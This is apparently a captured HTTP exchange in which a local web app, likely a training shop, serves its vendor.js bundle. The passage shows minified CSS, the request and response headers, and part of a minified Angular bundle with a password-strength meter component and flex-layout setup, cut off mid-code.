.CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background-color:#ffa;background-color:#ff06}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:""}span.CodeMirror-selectedtext{background:none}.cm-s-dracula.CodeMirror,.cm-s-dracula .CodeMirror-gutters{background-color:#282a36!important;color:#f8f8f2!important;border:none}.cm-s-dracula .CodeMirror-gutters{color:#282a36}.cm-s-dracula .CodeMirror-cursor{border-left:solid thin #f8f8f0}.cm-s-dracula .CodeMirror-linenumber{color:#6d8a88}.cm-s-dracula .CodeMirror-selected{background:rgba(255,255,255,.1)}.cm-s-dracula .CodeMirror-line::selection,.cm-s-dracula .CodeMirror-line>span::selection,.cm-s-dracula .CodeMirror-line>span>span::selection{background:rgba(255,255,255,.1)}.cm-s-dracula .CodeMirror-line::-moz-selection,.cm-s-dracula .CodeMirror-line>span::-moz-selection,.cm-s-dracula .CodeMirror-line>span>span::-moz-selection{background:rgba(255,255,255,.1)}.cm-s-dracula span.cm-comment{color:#6272a4}.cm-s-dracula span.cm-string,.cm-s-dracula span.cm-string-2{color:#f1fa8c}.cm-s-dracula span.cm-number{color:#bd93f9}.cm-s-dracula span.cm-variable{color:#50fa7b}.cm-s-dracula span.cm-variable-2{color:#fff}.cm-s-dracula span.cm-def{color:#50fa7b}.cm-s-dracula span.cm-operator,.cm-s-dracula span.cm-keyword{color:#ff79c6}.cm-s-dracula span.cm-atom{color:#bd93f9}.cm-s-dracula span.cm-meta{color:#f8f8f2}.cm-s-dracula span.cm-tag{color:#ff79c6}.cm-s-dracula span.cm-attribute,.cm-s-dracula span.cm-qualifier{color:#50fa7b}.cm-s-dracula span.cm-property{color:#66d9ef}.cm-s-dracula span.cm-builtin{color:#50fa7b}.cm-s-dracula span.cm-variable-3,.cm-s-dracula span.cm-type{color:#ffb86c}.cm-s-dracula .CodeMirror-activeline-background{background:rgba(255,255,255,.1)}.cm-s-dracula .CodeMirror-matchingbracket{text-decoration:underline;color:#fff!important}/*!\n * Load Awesome v1.1.0 (http://github.danielcardoso.net/load-awesome/)\n * Copyright 2015 Daniel Cardoso <@DanielCardoso>\n * Licensed under MIT\n */.la-timer,.la-timer>div{position:relative;box-sizing:border-box}.la-timer{display:block;font-size:0;color:#fff}.la-timer.la-dark{color:#333}.la-timer>div{display:inline-block;float:none;background-color:currentColor;border:0 solid currentColor}.la-timer{width:32px;height:32px}.la-timer>div{width:32px;height:32px;background:transparent;border-width:2px;border-radius:100%}.la-timer>div:before,.la-timer>div:after{position:absolute;top:14px;left:14px;display:block;width:2px;margin-top:-1px;margin-left:-1px;content:"";background:currentColor;border-radius:2px;transform-origin:1px 1px 0;animation:timer-loader 1.25s infinite linear;animation-delay:-625ms}.la-timer>div:before{height:12px}.la-timer>div:after{height:8px;animation-duration:15s;animation-delay:-7.5s}.la-timer.la-sm{width:16px;height:16px}.la-timer.la-sm>div{width:16px;height:16px;border-width:1px}.la-timer.la-sm>div:before,.la-timer.la-sm>div:after{top:7px;left:7px;width:1px;margin-top:-.5px;margin-left:-.5px;border-radius:1px;transform-origin:.5px .5px 0}.la-timer.la-sm>div:before{height:6px}.la-timer.la-sm>div:after{height:4px}.la-timer.la-2x{width:64px;height:64px}.la-timer.la-2x>div{width:64px;height:64px;border-width:4px}.la-timer.la-2x>div:before,.la-timer.la-2x>div:after{top:28px;left:28px;width:4px;margin-top:-2px;margin-left:-2px;border-radius:4px;transform-origin:2px 2px 0}.la-timer.la-2x>div:before{height:24px}.la-timer.la-2x>div:after{height:16px}.la-timer.la-3x{width:96px;height:96px}.la-timer.la-3x>div{width:96px;height:96px;border-width:6px}.la-timer.la-3x>div:before,.la-timer.la-3x>div:after{top:42px;left:42px;width:6px;margin-top:-3px;margin-left:-3px;border-radius:6px;transform-origin:3px 3px 0}.la-timer.la-3x>div:before{height:36px}.la-timer.la-3x>div:after{height:24px}@keyframes timer-loader{0%{transform:rotate(0)}to{transform:rotate(360deg)}}\n'
GET http://localhost:3000/vendor.js HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"15aefc-18df12a3c77"\r\nContent-Type: application/javascript; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:59 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'(self.webpackChunkfrontend=self.webpackChunkfrontend||[]).push([[736],{9187:(At,ae,d)=>{"use strict";d.d(ae,{Xy:()=>X,ne:()=>Be,tw:()=>ct});var n=d(655),a=d(4650),s=d(4006),u=d(7340),c=d(6895),f=d(3162),E=d(3238),_=d(3546),S=d(7392);function g(Je,Et){1&Je&&a._UZ(0,"div"),2&Je&&a.Q6J("@flipY",void 0)}function C(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function z(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function H(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,g,1,1,"div",2),a.YNc(2,C,2,1,"ng-template",null,3,a.W1O),a.YNc(4,z,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtLeastOneLowerCaseLetter)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.lowerCaseCriteriaMsg)}}function j(Je,Et){1&Je&&a._UZ(0,"div")}function U(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function G(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function Q(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,j,1,0,"div",2),a.YNc(2,U,2,1,"ng-template",null,3,a.W1O),a.YNc(4,G,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtLeastOneUpperCaseLetter)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.upperCaseCriteriaMsg)}}function oe(Je,Et){1&Je&&a._UZ(0,"div")}function Ce(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function k(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function K(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,oe,1,0,"div",2),a.YNc(2,Ce,2,1,"ng-template",null,3,a.W1O),a.YNc(4,k,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtLeastOneDigit)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.digitsCriteriaMsg)}}function se(Je,Et){1&Je&&a._UZ(0,"div")}function ee(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function q(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function we(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,se,1,0,"div",2),a.YNc(2,ee,2,1,"ng-template",null,3,a.W1O),a.YNc(4,q,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtLeastOneSpecialChar)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.specialCharsCriteriaMsg)}}function ce(Je,Et){1&Je&&a._UZ(0,"div")}function je(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function Ze(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function le(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,ce,1,0,"div",2),a.YNc(2,je,2,1,"ng-template",null,3,a.W1O),a.YNc(4,Ze,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtLeastMinChars)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.minCharsCriteriaMsg)}}function Oe(Je,Et){1&Je&&a._UZ(0,"div")}function Qe(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function Ye(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function qe(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,Oe,1,0,"div",2),a.YNc(2,Qe,2,1,"ng-template",null,3,a.W1O),a.YNc(4,Ye,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtCustomChars)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.customCharsCriteriaMsg)}}function Ke(Je,Et){1&Je&&a._UZ(0,"div")}function dt(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function bt(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function ze(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,Ke,1,0,"div",2),a.YNc(2,dt,2,1,"ng-template",null,3,a.W1O),a.YNc(4,bt,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",100===Ie.passwordComponent.strength)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.hij("Password\'s strength = ",Ie.passwordComponent.strength," %100")}}var De=(()=>{return(Je=De||(De={})).primary="primary",Je.accent="accent",Je.warn="warn",De;var Je})(),re=(()=>{return(Je=re||(re={})).at_least_eight_chars="minChar",Je.at_least_one_lower_case_char="lowerCase",Je.at_least_one_upper_case_char="upperCase",Je.at_least_one_digit_char="digit",Je.at_least_one_special_char=" specialChar",Je.at_custom_chars="customChars",re;var Je})();class We{isUndefinedOrEmpty(Et){}validate(Et,Dt){return Ie=>{if(this.isUndefinedOrEmpty(Ie),!Dt.test(Ie.value)){const te={};return te[Et]={actualValue:Ie.value,requiredPattern:Dt},te}}}confirm(Et){return Pt=>{if(this.isUndefinedOrEmpty(Pt),Pt.value!==Et)return{notConfirmed:{password:Et,passwordConfirmation:Pt.value}}}}}const xt={lowerCase:RegExp(/^(?=.*?[a-z])/),upperCase:RegExp(/^(?=.*?[A-Z])/),digit:RegExp(/^(?=.*?[0-9])/),specialChar:RegExp(/^(?=.*?[" !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"])/)};let Be=(()=>{let Je=class{constructor(){this.enableLengthRule=!0,this.enableLowerCaseLetterRule=!0,this.enableUpperCaseLetterRule=!0,this.enableDigitRule=!0,this.enableSpecialCharRule=!0,this.min=8,this.max=30,this.warnThreshold=21,this.accentThreshold=81,this.onStrengthChanged=new a.vpe,this.criteriaMap=new Map,this.passwordFormControl=new s.NI,this.passwordConfirmationFormControl=new s.NI,this.validatorsArray=[],this._strength=0,this.matPasswordStrengthValidator=new We}ngOnInit(){this.setRulesAndValidators(),this.password&&this.calculatePasswordStrength()}ngOnChanges(Dt){if(!(Dt.externalError&&Dt.externalError.firstChange||Dt.password.isFirstChange())){if(Dt.externalError&&Dt.externalError.currentValue)return void(this._color=De.warn);Dt.password.previousValue!==Dt.password.currentValue||Dt.password.firstChange?this.password&&this.password.length>0?this.calculatePasswordStrength():this.reset():this.calculatePasswordStrength()}}get strength(){return this._strength?this._strength:0}get color(){return this._strength<this.warnThreshold?De.warn:this._strength<this.accentThreshold?De.accent:De.primary}_containAtLeastMinChars(){return this.containAtLeastMinChars=this.password.length>=this.min,this.containAtLeastMinChars}_containAtLeastOneLowerCaseLetter(){return this.containAtLeastOneLowerCaseLetter=this.criteriaMap.get(re.at_least_one_lower_case_char).test(this.password),this.containAtLeastOneLowerCaseLetter}_containAtLeastOneUpperCaseLetter(){return this.containAtLeastOneUpperCaseLetter=this.criteriaMap.get(re.at_least_one_upper_case_char).test(this.password),this.containAtLeastOneUpperCaseLetter}_containAtLeastOneDigit(){return this.containAtLeastOneDigit=this.criteriaMap.get(re.at_least_one_digit_char).test(this.password),this.containAtLeastOneDigit}_containAtLeastOneSpecialChar(){return this.containAtLeastOneSpecialChar=this.criteriaMap.get(re.at_least_one_special_char).test(this.password),this.containAtLeastOneSpecialChar}_containCustomChars(){return this.containAtCustomChars=this.criteriaMap.get(re.at_custom_chars).test(this.password),this.containAtCustomChars}parseCustomValidatorsRegex(Dt=this.customValidator){return this.customValidator instanceof RegExp?this.customValidator:"string"==typeof this.customValidator?RegExp(this.customValidator):void 0}setRulesAndValidators(){this.validatorsArray=[],this.criteriaMap=new Map,this.passwordConfirmationFormControl.setValidators(s.kI.compose([s.kI.required,this.matPasswordStrengthValidator.confirm(this.password)])),this.validatorsArray.push(s.kI.required),this.enableLengthRule&&(this.criteriaMap.set(re.at_least_eight_chars,RegExp(`^.{${this.min},${this.max}}$`)),this.validatorsArray.push(s.kI.minLength(this.min)),this.validatorsArray.push(s.kI.maxLength(this.max))),this.enableLowerCaseLetterRule&&(this.criteriaMap.set(re.at_least_one_lower_case_char,xt.lowerCase),this.validatorsArray.push(s.kI.pattern(xt.lowerCase))),this.enableUpperCaseLetterRule&&(this.criteriaMap.set(re.at_least_one_upper_case_char,xt.upperCase),this.validatorsArray.push(s.kI.pattern(xt.upperCase))),this.enableDigitRule&&(this.criteriaMap.set(re.at_least_one_digit_char,xt.digit),this.validatorsArray.push(s.kI.pattern(xt.digit))),this.enableSpecialCharRule&&(this.criteriaMap.set(re.at_least_one_special_char,xt.specialChar),this.validatorsArray.push(s.kI.pattern(xt.specialChar))),this.customValidator&&(this.criteriaMap.set(re.at_custom_chars,this.parseCustomValidatorsRegex()),this.validatorsArray.push(s.kI.pattern(this.parseCustomValidatorsRegex()))),this.criteriaMap.forEach((Dt,Pt)=>{this.validatorsArray.push(this.matPasswordStrengthValidator.validate(Pt,Dt))}),this.passwordFormControl.setValidators(s.kI.compose([...this.validatorsArray])),this.Validators=s.kI.compose([...this.validatorsArray])}calculatePasswordStrength(){const Dt=[],Pt=100/this.criteriaMap.size;Dt.push(!!this.enableLengthRule&&this._containAtLeastMinChars(),!!this.enableLowerCaseLetterRule&&this._containAtLeastOneLowerCaseLetter(),!!this.enableUpperCaseLetterRule&&this._containAtLeastOneUpperCaseLetter(),!!this.enableDigitRule&&this._containAtLeastOneDigit(),!!this.enableSpecialCharRule&&this._containAtLeastOneSpecialChar(),!!this.customValidator&&this._containCustomChars()),this._strength=Dt.filter(Ie=>Ie).length*Pt,this.onStrengthChanged.emit(this.strength),this.setRulesAndValidators()}reset(){this._strength=0,this.containAtLeastMinChars=this.containAtLeastOneLowerCaseLetter=this.containAtLeastOneUpperCaseLetter=this.containAtLeastOneDigit=this.containAtCustomChars=this.containAtLeastOneSpecialChar=!1}};return Je.\\u0275fac=function(Dt){return new(Dt||Je)},Je.\\u0275cmp=a.Xpm({type:Je,selectors:[["mat-password-strength"]],inputs:{enableLengthRule:"enableLengthRule",enableLowerCaseLetterRule:"enableLowerCaseLetterRule",enableUpperCaseLetterRule:"enableUpperCaseLetterRule",enableDigitRule:"enableDigitRule",enableSpecialCharRule:"enableSpecialCharRule",min:"min",max:"max",warnThreshold:"warnThreshold",accentThreshold:"accentThreshold",password:"password",externalError:"externalError",customValidator:"customValidator"},outputs:{onStrengthChanged:"onStrengthChanged"},exportAs:["matPasswordStrength"],features:[a.TTD],decls:1,vars:2,consts:[["mode","determinate",3,"color","value"]],template:function(Dt,Pt){1&Dt&&a._UZ(0,"mat-progress-bar",0),2&Dt&&a.Q6J("color",Pt.color)("value",Pt.strength)},dependencies:[f.pW],styles:[".green [_nghost-%COMP%] .mat-progress-bar.mat-primary .mat-progress-bar-fill::after{background-color:#43a047}"],changeDetection:0}),(0,n.gn)([(0,a.IIB)()],Je.prototype,"password",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"externalError",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableLengthRule",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableLowerCaseLetterRule",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableUpperCaseLetterRule",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableDigitRule",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableSpecialCharRule",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"min",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"max",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"customValidator",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"warnThreshold",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"accentThreshold",void 0),(0,n.gn)([(0,a.r_U)()],Je.prototype,"onStrengthChanged",void 0),Je})();function pe(Je,Et,Dt){const Pt={timing:Je,delay:0,rotateX:Et,rotateY:Dt};return(0,u.oQ)([(0,u.oB)({"backface-visibility":"visible"}),(0,u.jt)("{{ timing }}s {{ delay }}s ease-in",(0,u.F4)([(0,u.oB)({opacity:0,transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, 90deg)",offset:0}),(0,u.oB)({opacity:1,transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, -20deg)",offset:.4}),(0,u.oB)({transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, 10deg)",offset:.6}),(0,u.oB)({transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, -5deg)",offset:.8}),(0,u.oB)({transform:"perspective(400px) rotate3d(0, 0, 0, 0)",offset:1})]))],{params:Pt})}pe(1,1,0),pe(1,0,1);const R=(0,u.oQ)((0,u.jt)("{{ timing }}s {{ delay }}s",(0,u.F4)([(0,u.oB)({transform:"translate3d(0, 0, 0)",offset:0}),(0,u.oB)({transform:"translate3d(-10px, 0, 0)",offset:.1}),(0,u.oB)({transform:"translate3d(10px, 0, 0)",offset:.2}),(0,u.oB)({transform:"translate3d(-10px, 0, 0)",offset:.3}),(0,u.oB)({transform:"translate3d(10px, 0, 0)",offset:.4}),(0,u.oB)({transform:"translate3d(-10px, 0, 0)",offset:.5}),(0,u.oB)({transform:"translate3d(10px, 0, 0)",offset:.6}),(0,u.oB)({transform:"translate3d(-10px, 0, 0)",offset:.7}),(0,u.oB)({transform:"translate3d(10px, 0, 0)",offset:.8}),(0,u.oB)({transform:"translate3d(-10px, 0, 0)",offset:.9}),(0,u.oB)({transform:"translate3d(0, 0, 0)",offset:1})])),{params:{timing:1,delay:0}});let X=(()=>{let Je=class{constructor(){this.enableScoreInfo=!1,this.lowerCaseCriteriaMsg="contains at least one lower character",this.upperCaseCriteriaMsg="contains at least one upper character",this.digitsCriteriaMsg="contains at least one digit character",this.specialCharsCriteriaMsg="contains at least one special character",this.customCharsCriteriaMsg="contains at least one custom character"}ngOnInit(){this.minCharsCriteriaMsg||(this.minCharsCriteriaMsg=`contains at least ${this.passwordComponent.min} characters`)}};return Je.\\u0275fac=function(Dt){return new(Dt||Je)},Je.\\u0275cmp=a.Xpm({type:Je,selectors:[["mat-password-strength-info"]],inputs:{enableScoreInfo:"enableScoreInfo",lowerCaseCriteriaMsg:"lowerCaseCriteriaMsg",upperCaseCriteriaMsg:"upperCaseCriteriaMsg",digitsCriteriaMsg:"digitsCriteriaMsg",specialCharsCriteriaMsg:"specialCharsCriteriaMsg",customCharsCriteriaMsg:"customCharsCriteriaMsg",minCharsCriteriaMsg:"minCharsCriteriaMsg",passwordComponent:"passwordComponent"},exportAs:["matPasswordStrengthInfo"],decls:9,vars:8,consts:[["class","info-row",4,"ngIf"],[1,"info-row"],[4,"ngIf","ngIfThen","ngIfElse"],["done",""],["error",""],["color","primary"],["color","warn"]],template:function(Dt,Pt){1&Dt&&(a.TgZ(0,"mat-card")(1,"mat-card-content"),a.YNc(2,H,8,5,"div",0),a.YNc(3,Q,8,5,"div",0),a.YNc(4,K,8,5,"div",0),a.YNc(5,we,8,5,"div",0),a.YNc(6,le,8,5,"div",0),a.YNc(7,qe,8,5,"div",0),a.YNc(8,ze,8,5,"div",0),a.qZA()()),2&Dt&&(a.Q6J("@list",void 0),a.xp6(2),a.Q6J("ngIf",Pt.passwordComponent.enableLowerCaseLetterRule),a.xp6(1),a.Q6J("ngIf",Pt.passwordComponent.enableUpperCaseLetterRule),a.xp6(1),a.Q6J("ngIf",Pt.passwordComponent.enableDigitRule),a.xp6(1),a.Q6J("ngIf",Pt.passwordComponent.enableSpecialCharRule),a.xp6(1),a.Q6J("ngIf",Pt.passwordComponent.enableLengthRule),a.xp6(1),a.Q6J("ngIf",Pt.passwordComponent.customValidator),a.xp6(1),a.Q6J("ngIf",Pt.enableScoreInfo))},dependencies:[c.O5,_.a8,_.dn,S.Hw],styles:["mat-card[_ngcontent-%COMP%]{-webkit-box-orient:horizontal;-webkit-box-direction:normal;flex-direction:row;box-sizing:border-box;display:-webkit-box;display:flex;place-content:stretch center;-webkit-box-align:stretch;align-items:stretch;-webkit-box-flex:1;flex:1 1 0}mat-card[_ngcontent-%COMP%] mat-card-content[_ngcontent-%COMP%]{-webkit-box-orient:vertical;-webkit-box-direction:normal;flex-direction:column;box-sizing:border-box;display:-webkit-box;display:flex;max-width:100%;place-content:stretch flex-start;-webkit-box-align:stretch;align-items:stretch}mat-card[_ngcontent-%COMP%] mat-card-content[_ngcontent-%COMP%] mat-icon[_ngcontent-%COMP%]{margin-right:10px}mat-card[_ngcontent-%COMP%] mat-card-content[_ngcontent-%COMP%] .info-row[_ngcontent-%COMP%]{-webkit-box-orient:horizontal;-webkit-box-direction:normal;flex-direction:row;box-sizing:border-box;display:-webkit-box;display:flex;-webkit-box-align:center;align-items:center}"],data:{animation:[(0,u.X$)("list",[(0,u.eR)(":enter",[(0,u.IO)("@items",(0,u.EY)(300,(0,u.pV)()))])]),(0,u.X$)("items",[(0,u.eR)(":enter",[(0,u.oB)({transform:"scale(0.5)",opacity:0}),(0,u.jt)("1s cubic-bezier(.8,-0.6,0.2,1.5)",(0,u.oB)({transform:"scale(1)",opacity:1}))]),(0,u.eR)(":leave",[(0,u.oB)({transform:"scale(1)",opacity:1,height:"*"}),(0,u.jt)("1s cubic-bezier(.8,-0.6,0.2,1.5)",(0,u.oB)({transform:"scale(0.5)",opacity:0,height:"0px",margin:"0px"}))])]),(0,u.X$)("positiveState",[(0,u.eR)(":enter",[(0,u.oB)({"backface-visibility":"visible"}),(0,u.jt)("{{ timing }}s {{ delay }}s ease-in",(0,u.F4)([(0,u.oB)({opacity:0,transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, 90deg)",offset:0}),(0,u.oB)({opacity:1,transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, -20deg)",offset:.4}),(0,u.oB)({transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, 10deg)",offset:.6}),(0,u.oB)({transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, -5deg)",offset:.8}),(0,u.oB)({transform:"perspective(400px) rotate3d(0, 0, 0, 0)",offset:1})]))],{params:{timing:1,delay:0,rotateX:1,rotateY:0}})]),(0,u.X$)("negativeState",[(0,u.eR)(":enter",(0,u._7)(R))])]}}),(0,n.gn)([(0,a.IIB)()],Je.prototype,"passwordComponent",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableScoreInfo",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"lowerCaseCriteriaMsg",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"upperCaseCriteriaMsg",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"digitsCriteriaMsg",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"specialCharsCriteriaMsg",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"customCharsCriteriaMsg",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"minCharsCriteriaMsg",void 0),Je})();var _e;let ct=_e=class{static forRoot(){return{ngModule:_e,providers:[]}}};ct.\\u0275fac=function(Et){return new(Et||ct)},ct.\\u0275mod=a.oAB({type:ct}),ct.\\u0275inj=a.cJS({imports:[c.ez,f.Cv,_.QW,S.Ps,E.si]})},5107:(At,ae,d)=>{"use strict";d.d(ae,{Bs:()=>oe,IR:()=>z,Ot:()=>Gt,QI:()=>Vt,RK:()=>wt,WU:()=>G,g5:()=>U,iR:()=>ce,wY:()=>Q,yB:()=>u1});var n=d(4650),a=d(6895),s=d(8929),u=d(591),c=d(6498),f=d(6787),E=d(2198),_=d(2868);const g={provide:n.tb,useFactory:function S(It,_t){return()=>{if((0,a.NF)(_t)){const kt=Array.from(It.querySelectorAll(`[class*=${C}]`)),Fe=/\\bflex-layout-.+?\\b/g;kt.forEach(be=>{be.classList.contains(`${C}ssr`)&&be.parentNode?be.parentNode.removeChild(be):be.className.replace(Fe,"")})}}},deps:[a.K0,n.Lbi],multi:!0},C="flex-layout-";let z=(()=>(()=>{class _t{}return _t.\\u0275fac=function(Fe){return new(Fe||_t)},_t.\\u0275mod=n.oAB({type:_t}),_t.\\u0275inj=n.cJS({providers:[g]}),_t})())();class H{constructor(_t=!1,kt="all",Fe="",be="",Pe=0){this.matches=_t,this.mediaQuery=kt,this.mqAlias=Fe,this.suffix=be,this.priority=Pe,this.property=""}clone(){return new H(this.matches,this.mediaQuery,this.mqAlias,this.suffix)}}let j=(()=>(()=>{class _t{constructor(){this.stylesheet=new Map}addStyleToElement(Fe,be,Pe){const Re=this.stylesheet.get(Fe);Re?Re.set(be,Pe):this.stylesheet.set(Fe,new Map([[be,Pe]]))}clearStyles(){this.stylesheet.clear()}getStyleForElement(Fe,be){const Pe=this.stylesheet.get(Fe);let Re="";if(Pe){const Ue=Pe.get(be);("number"==typeof Ue||"string"==typeof Ue)&&(Re=Ue+"")}return Re}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t},token:_t,providedIn:"root"}),_t})())();const U={addFlexToParent:!0,addOrientationBps:!1,disableDefaultBps:!1,disableVendorPrefixes:!1,serverLoaded:!1,useColumnBasisZero:!0,printWithBreakpoints:[],mediaTriggerAutoRestore:!0,ssrObserveBreakpoints:[]},G=new n.OlP("Flex Layout token, config options for the library",{providedIn:"root",factory:()=>U}),Q=new n.OlP("FlexLayoutServerLoaded",{providedIn:"root",factory:()=>!1}),oe=new n.OlP("Flex Layout token, collect all breakpoints into one provider",{providedIn:"root",factory:()=>null});function Ce(It,_t){return It=It?It.clone():new H,_t&&(It.mqAlias=_t.alias,It.mediaQuery=_t.mediaQuery,It.suffix=_t.suffix,It.priority=_t.priority),It}const k="inline",K=["row","column","row-reverse","column-reverse"];function 